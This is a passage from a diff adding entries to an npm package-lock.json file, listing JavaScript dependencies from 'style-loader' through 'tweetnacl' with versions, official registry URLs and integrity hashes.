+            "integrity": "sha512-fZtbhtvI9I48xDSywd/somNqgUHl2L2cstmXCCif0itOf96jeW18MBSyrLuNicYQVkvpOxkZtkzujiTJ9LW5Jw==",
+            "requires": {
+                "@tokenizer/token": "^0.3.0",
+                "peek-readable": "^4.1.0"
+            }
+        },
+        "style-loader": {
+            "version": "0.23.1",
+            "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.23.1.tgz",
+            "integrity": "sha512-XK+uv9kWwhZMZ1y7mysB+zoihsEj4wneFWAS5qoiLwzW0WzSqMrrsIy+a3zkQJq0ipFtBpX5W3MqyRIBF/WFGg==",
+            "requires": {
+                "loader-utils": "^1.1.0",
+                "schema-utils": "^1.0.0"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "schema-utils": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+                    "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-errors": "^1.0.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                }
+            }
+        },
+        "style-to-object": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.3.0.tgz",
+            "integrity": "sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA==",
+            "requires": {
+                "inline-style-parser": "0.1.1"
+            }
+        },
+        "stylehacks": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-4.0.3.tgz",
+            "integrity": "sha512-7GlLk9JwlElY4Y6a/rmbH2MhVlTyVmiJd1PfTCqFaIBEGMYNsrO/v3SeGTdhBThLg4Z+NbOk/qFMwCa+J+3p/g==",
+            "requires": {
+                "browserslist": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-selector-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-selector-parser": {
+                    "version": "3.1.2",
+                    "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz",
+                    "integrity": "sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==",
+                    "requires": {
+                        "dot-prop": "^5.2.0",
+                        "indexes-of": "^1.0.1",
+                        "uniq": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "subscriptions-transport-ws": {
+            "version": "0.9.19",
+            "resolved": "https://registry.npmjs.org/subscriptions-transport-ws/-/subscriptions-transport-ws-0.9.19.tgz",
+            "integrity": "sha512-dxdemxFFB0ppCLg10FTtRqH/31FNRL1y1BQv8209MK5I4CwALb7iihQg+7p65lFcIl8MHatINWBLOqpgU4Kyyw==",
+            "requires": {
+                "backo2": "^1.0.2",
+                "eventemitter3": "^3.1.0",
+                "iterall": "^1.2.1",
+                "symbol-observable": "^1.0.4",
+                "ws": "^5.2.0 || ^6.0.0 || ^7.0.0"
+            }
+        },
+        "sudo-prompt": {
+            "version": "8.2.5",
+            "resolved": "https://registry.npmjs.org/sudo-prompt/-/sudo-prompt-8.2.5.tgz",
+            "integrity": "sha512-rlBo3HU/1zAJUrkY6jNxDOC9eVYliG6nS4JA8u8KAshITd07tafMc/Br7xQwCSseXwJ2iCcHCE8SNWX3q8Z+kw=="
+        },
+        "supports-color": {
+            "version": "5.5.0",
+            "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+            "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+            "requires": {
+                "has-flag": "^3.0.0"
+            }
+        },
+        "supports-preserve-symlinks-flag": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+            "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="
+        },
+        "svgo": {
+            "version": "1.3.2",
+            "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz",
+            "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==",
+            "requires": {
+                "chalk": "^2.4.1",
+                "coa": "^2.0.2",
+                "css-select": "^2.0.0",
+                "css-select-base-adapter": "^0.1.1",
+                "css-tree": "1.0.0-alpha.37",
+                "csso": "^4.0.2",
+                "js-yaml": "^3.13.1",
+                "mkdirp": "~0.5.1",
+                "object.values": "^1.1.0",
+                "sax": "~1.2.4",
+                "stable": "^0.1.8",
+                "unquote": "~1.1.1",
+                "util.promisify": "~1.0.0"
+            },
+            "dependencies": {
+                "css-select": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz",
+                    "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==",
+                    "requires": {
+                        "boolbase": "^1.0.0",
+                        "css-what": "^3.2.1",
+                        "domutils": "^1.7.0",
+                        "nth-check": "^1.0.2"
+                    }
+                },
+                "css-what": {
+                    "version": "3.4.2",
+                    "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz",
+                    "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ=="
+                },
+                "dom-serializer": {
+                    "version": "0.2.2",
+                    "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
+                    "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
+                    "requires": {
+                        "domelementtype": "^2.0.1",
+                        "entities": "^2.0.0"
+                    },
+                    "dependencies": {
+                        "domelementtype": {
+                            "version": "2.3.0",
+                            "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+                            "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="
+                        }
+                    }
+                },
+                "domelementtype": {
+                    "version": "1.3.1",
+                    "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
+                    "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w=="
+                },
+                "domutils": {
+                    "version": "1.7.0",
+                    "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
+                    "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
+                    "requires": {
+                        "dom-serializer": "0",
+                        "domelementtype": "1"
+                    }
+                },
+                "js-yaml": {
+                    "version": "3.14.1",
+                    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+                    "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+                    "requires": {
+                        "argparse": "^1.0.7",
+                        "esprima": "^4.0.0"
+                    }
+                },
+                "nth-check": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
+                    "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
+                    "requires": {
+                        "boolbase": "~1.0.0"
+                    }
+                },
+                "util.promisify": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz",
+                    "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==",
+                    "requires": {
+                        "define-properties": "^1.1.3",
+                        "es-abstract": "^1.17.2",
+                        "has-symbols": "^1.0.1",
+                        "object.getownpropertydescriptors": "^2.1.0"
+                    }
+                }
+            }
+        },
+        "symbol-observable": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/symbol-observable/-/symbol-observable-1.2.0.tgz",
+            "integrity": "sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ=="
+        },
+        "sync-fetch": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/sync-fetch/-/sync-fetch-0.3.0.tgz",
+            "integrity": "sha512-dJp4qg+x4JwSEW1HibAuMi0IIrBI3wuQr2GimmqB7OXR50wmwzfdusG+p39R9w3R6aFtZ2mzvxvWKQ3Bd/vx3g==",
+            "requires": {
+                "buffer": "^5.7.0",
+                "node-fetch": "^2.6.1"
+            }
+        },
+        "table": {
+            "version": "5.4.6",
+            "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz",
+            "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==",
+            "requires": {
+                "ajv": "^6.10.2",
+                "lodash": "^4.17.14",
+                "slice-ansi": "^2.1.0",
+                "string-width": "^3.0.0"
+            },
+            "dependencies": {
+                "emoji-regex": {
+                    "version": "7.0.3",
+                    "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+                    "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
+                },
+                "string-width": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+                    "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+                    "requires": {
+                        "emoji-regex": "^7.0.1",
+                        "is-fullwidth-code-point": "^2.0.0",
+                        "strip-ansi": "^5.1.0"
+                    }
+                }
+            }
+        },
+        "tapable": {
+            "version": "1.1.3",
+            "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
+            "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA=="
+        },
+        "tar": {
+            "version": "2.2.2",
+            "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz",
+            "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==",
+            "requires": {
+                "block-stream": "*",
+                "fstream": "^1.0.12",
+                "inherits": "2"
+            }
+        },
+        "term-size": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/term-size/-/term-size-2.2.1.tgz",
+            "integrity": "sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg=="
+        },
+        "terser": {
+            "version": "4.8.1",
+            "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.1.tgz",
+            "integrity": "sha512-4GnLC0x667eJG0ewJTa6z/yXrbLGv80D9Ru6HIpCQmO+Q4PfEtBFi0ObSckqwL6VyQv/7ENJieXHo2ANmdQwgw==",
+            "requires": {
+                "commander": "^2.20.0",
+                "source-map": "~0.6.1",
+                "source-map-support": "~0.5.12"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "terser-webpack-plugin": {
+            "version": "2.3.8",
+            "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-2.3.8.tgz",
+            "integrity": "sha512-/fKw3R+hWyHfYx7Bv6oPqmk4HGQcrWLtV3X6ggvPuwPNHSnzvVV51z6OaaCOus4YLjutYGOz3pEpbhe6Up2s1w==",
+            "requires": {
+                "cacache": "^13.0.1",
+                "find-cache-dir": "^3.3.1",
+                "jest-worker": "^25.4.0",
+                "p-limit": "^2.3.0",
+                "schema-utils": "^2.6.6",
+                "serialize-javascript": "^4.0.0",
+                "source-map": "^0.6.1",
+                "terser": "^4.6.12",
+                "webpack-sources": "^1.4.3"
+            },
+            "dependencies": {
+                "has-flag": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+                    "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+                },
+                "jest-worker": {
+                    "version": "25.5.0",
+                    "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-25.5.0.tgz",
+                    "integrity": "sha512-/dsSmUkIy5EBGfv/IjjqmFxrNAUpBERfGs1oHROyD7yxjG/w+t0GOJDX8O1k32ySmd7+a5IhnJU2qQFcJ4n1vw==",
+                    "requires": {
+                        "merge-stream": "^2.0.0",
+                        "supports-color": "^7.0.0"
+                    }
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                },
+                "supports-color": {
+                    "version": "7.2.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+                    "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+                    "requires": {
+                        "has-flag": "^4.0.0"
+                    }
+                }
+            }
+        },
+        "text-table": {
+            "version": "0.2.0",
+            "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+            "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="
+        },
+        "through": {
+            "version": "2.3.8",
+            "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
+            "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg=="
+        },
+        "through2": {
+            "version": "2.0.5",
+            "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+            "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+            "requires": {
+                "readable-stream": "~2.3.6",
+                "xtend": "~4.0.1"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "thunky": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
+            "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA=="
+        },
+        "timed-out": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz",
+            "integrity": "sha512-G7r3AhovYtr5YKOWQkta8RKAPb+J9IsO4uVmzjl8AZwfhs8UcUwTiD6gcJYSgOtzyjvQKrKYn41syHbUWMkafA=="
+        },
+        "timers-browserify": {
+            "version": "2.0.12",
+            "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz",
+            "integrity": "sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==",
+            "requires": {
+                "setimmediate": "^1.0.4"
+            }
+        },
+        "timers-ext": {
+            "version": "0.1.7",
+            "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.7.tgz",
+            "integrity": "sha512-b85NUNzTSdodShTIbky6ZF02e8STtVVfD+fu4aXXShEELpozH+bCpJLYMPZbsABN2wDH7fJpqIoXxJpzbf0NqQ==",
+            "requires": {
+                "es5-ext": "~0.10.46",
+                "next-tick": "1"
+            }
+        },
+        "timsort": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz",
+            "integrity": "sha512-qsdtZH+vMoCARQtyod4imc2nIJwg9Cc7lPRrw9CzF8ZKR0khdr8+2nX80PBhET3tcyTtJDxAffGh2rXH4tyU8A=="
+        },
+        "tmp": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz",
+            "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==",
+            "requires": {
+                "rimraf": "^3.0.0"
+            },
+            "dependencies": {
+                "rimraf": {
+                    "version": "3.0.2",
+                    "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+                    "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+                    "requires": {
+                        "glob": "^7.1.3"
+                    }
+                }
+            }
+        },
+        "to-arraybuffer": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz",
+            "integrity": "sha512-okFlQcoGTi4LQBG/PgSYblw9VOyptsz2KJZqc6qtgGdes8VktzUQkj4BI2blit072iS8VODNcMA+tvnS9dnuMA=="
+        },
+        "to-fast-properties": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz",
+            "integrity": "sha512-lxrWP8ejsq+7E3nNjwYmUBMAgjMTZoTI+sdBOpvNyijeDLa29LUn9QaoXAHv4+Z578hbmHHJKZknzxVtvo77og=="
+        },
+        "to-object-path": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
+            "integrity": "sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==",
+            "requires": {
+                "kind-of": "^3.0.2"
+            }
+        },
+        "to-readable-stream": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
+            "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q=="
+        },
+        "to-regex": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
+            "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
+            "requires": {
+                "define-property": "^2.0.2",
+                "extend-shallow": "^3.0.2",
+                "regex-not": "^1.0.2",
+                "safe-regex": "^1.1.0"
+            }
+        },
+        "to-regex-range": {
+            "version": "5.0.1",
+            "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+            "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+            "requires": {
+                "is-number": "^7.0.0"
+            }
+        },
+        "toidentifier": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
+            "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="
+        },
+        "token-stream": {
+            "version": "0.0.1",
+            "resolved": "https://registry.npmjs.org/token-stream/-/token-stream-0.0.1.tgz",
+            "integrity": "sha512-nfjOAu/zAWmX9tgwi5NRp7O7zTDUD1miHiB40klUnAh9qnL1iXdgzcz/i5dMaL5jahcBAaSfmNOBBJBLJW8TEg=="
+        },
+        "token-types": {
+            "version": "4.2.1",
+            "resolved": "https://registry.npmjs.org/token-types/-/token-types-4.2.1.tgz",
+            "integrity": "sha512-6udB24Q737UD/SDsKAHI9FCRP7Bqc9D/MQUV02ORQg5iskjtLJlZJNdN4kKtcdtwCeWIwIHDGaUsTsCCAa8sFQ==",
+            "requires": {
+                "@tokenizer/token": "^0.3.0",
+                "ieee754": "^1.2.1"
+            }
+        },
+        "tough-cookie": {
+            "version": "2.5.0",
+            "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
+            "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
+            "requires": {
+                "psl": "^1.1.28",
+                "punycode": "^2.1.1"
+            }
+        },
+        "trim": {
+            "version": "0.0.1",
+            "resolved": "https://registry.npmjs.org/trim/-/trim-0.0.1.tgz",
+            "integrity": "sha1-WFhUf2spB1fulczMZm+1AITEYN0="
+        },
+        "trim-lines": {
+            "version": "1.1.3",
+            "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-1.1.3.tgz",
+            "integrity": "sha512-E0ZosSWYK2mkSu+KEtQ9/KqarVjA9HztOSX+9FDdNacRAq29RRV6ZQNgob3iuW8Htar9vAfEa6yyt5qBAHZDBA=="
+        },
+        "trim-newlines": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz",
+            "integrity": "sha512-Nm4cF79FhSTzrLKGDMi3I4utBtFv8qKy4sq1enftf2gMdpqI8oVQTAfySkTz5r49giVzDj88SVZXP4CeYQwjaw=="
+        },
+        "trim-trailing-lines": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/trim-trailing-lines/-/trim-trailing-lines-1.1.4.tgz",
+            "integrity": "sha512-rjUWSqnfTNrjbB9NQWfPMH/xRK1deHeGsHoVfpxJ++XeYXE0d6B1En37AHfw3jtfTU7dzMzZL2jjpe8Qb5gLIQ=="
+        },
+        "trough": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz",
+            "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA=="
+        },
+        "true-case-path": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-2.2.1.tgz",
+            "integrity": "sha512-0z3j8R7MCjy10kc/g+qg7Ln3alJTodw9aDuVWZa3uiWqfuBMKeAeP2ocWcxoyM3D73yz3Jt/Pu4qPr4wHSdB/Q=="
+        },
+        "ts-node": {
+            "version": "9.1.1",
+            "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-9.1.1.tgz",
+            "integrity": "sha512-hPlt7ZACERQGf03M253ytLY3dHbGNGrAq9qIHWUY9XHYl1z7wYngSr3OQ5xmui8o2AaxsONxIzjafLUiWBo1Fg==",
+            "requires": {
+                "arg": "^4.1.0",
+                "create-require": "^1.1.0",
+                "diff": "^4.0.1",
+                "make-error": "^1.1.1",
+                "source-map-support": "^0.5.17",
+                "yn": "3.1.1"
+            }
+        },
+        "ts-pnp": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/ts-pnp/-/ts-pnp-1.2.0.tgz",
+            "integrity": "sha512-csd+vJOb/gkzvcCHgTGSChYpy5f1/XKNsmvBGO4JXS+z1v2HobugDz4s1IeFXM3wZB44uczs+eazB5Q/ccdhQw=="
+        },
+        "tsconfig-paths": {
+            "version": "3.14.1",
+            "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz",
+            "integrity": "sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==",
+            "requires": {
+                "@types/json5": "^0.0.29",
+                "json5": "^1.0.1",
+                "minimist": "^1.2.6",
+                "strip-bom": "^3.0.0"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                }
+            }
+        },
+        "tslib": {
+            "version": "1.14.1",
+            "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+            "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
+        },
+        "tsutils": {
+            "version": "3.21.0",
+            "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz",
+            "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==",
+            "requires": {
+                "tslib": "^1.8.1"
+            }
+        },
+        "tty-browserify": {
+            "version": "0.0.0",
+            "resolved": "https://registry.npmjs.org/tty-browserify/-/tty-browserify-0.0.0.tgz",
+            "integrity": "sha512-JVa5ijo+j/sOoHGjw0sxw734b1LhBkQ3bvUGNdxnVXDCX81Yx7TFgnZygxrIIWn23hbfTaMYLwRmAxFyDuFmIw=="
+        },
+        "tunnel-agent": {
+            "version": "0.6.0",
+            "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
+            "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
+            "requires": {
+                "safe-buffer": "^5.0.1"
+            }
+        },
+        "tweetnacl": {
+            "version": "0.14.5",
+            "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
+            "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA=="
+        },
+        "type": {
